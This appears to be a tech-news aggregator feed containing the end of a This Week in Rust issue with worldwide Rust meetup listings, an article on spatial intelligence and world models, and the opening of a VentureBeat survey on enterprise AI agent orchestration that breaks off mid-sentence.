<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045926/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314329045/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315102297/"><strong>Lunch &amp; Learn: Learning Rust as First Programming Language</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (Tel Aviv-yafo, IL) | <a href="https://www.meetup.com/rust-tlv/events/">Rust 🦀 TLV</a><ul>
<li><a href="https://www.meetup.com/rust-tlv/events/315676843/"><strong>שיחה חופשית ווירטואלית על ראסט</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, GB) | <a href="https://www.meetup.com/women-in-rust/events/">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs/events/">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-12 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Bangalore, IN) | <a href="https://discord.gg/VJyv3NfVdw">Embedded Rust Discord</a><ul>
<li><a href="https://discord.gg/6gwCNpFP?event=1526087936234225814"><strong>Silicon Sundays</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-18 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a><ul>
<li><a href="https://hasgeek.com/rustbangalore/july-2026-rustacean-meetup/"><strong>July 2026 Rustacean Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-19 | Virtual (Bangalore, IN) | <a href="https://discord.gg/VJyv3NfVdw">Embedded Rust Discord</a><ul>
<li><a href="https://discord.gg/6gwCNpFP?event=1526087936234225814"><strong>Silicon Sundays</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, MA, IN | <a href="https://www.meetup.com/rust-pune/events/">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-15 | Dortmund, DE | <a href="https://www.meetup.com/rust-dortmund/events/">Rust Dortmund</a><ul>
<li><a href="https://www.meetup.com/rust-dortmund/events/315496876/"><strong>Teach and Hack at Projektspeicher</strong></a></li>
</ul>
</li>
<li>2026-07-21 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816470/"><strong>Supercharge Rust funcs with implicit arguments and context-generic programming</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group/events/">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, GB | <a href="https://www.meetup.com/rust-manchester/events/">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-18 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315225872/"><strong>North End Rust Lunch, July 18</strong></a></li>
</ul>
</li>
<li>2026-07-21 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997214/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl/events/">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust/events/">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust/events/">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-21 | Barton, AU | <a href="https://www.meetup.com/rust-canberra">Canberra Rust User Group</a><ul>
<li><a href="https://www.meetup.com/rust-canberra/events/315307280/"><strong>July Meetup</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne/events/">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>Thank you for your PR, but please edit the description like you are a chainsaw-wielding maniac that just discovered the sentences are young adults who came to the lake at summer camp after sunset.</p>
</blockquote>
<p>– <a href="https://github.com/rust-lang/rust/pull/159039#issuecomment-4931084997">workingjubilee on Rust github</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1786">Theemathas</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
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<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
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<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1uxsigp/this_week_in_rust_660/">Discuss on r/rust</a></small></p>]]></content:encoded>
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<title><![CDATA[A look at spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</guid>
<pubDate>Thu, 16 Jul 2026 03:48:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
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<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3672033/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672033/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 16 Jul 2026 00:46:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and 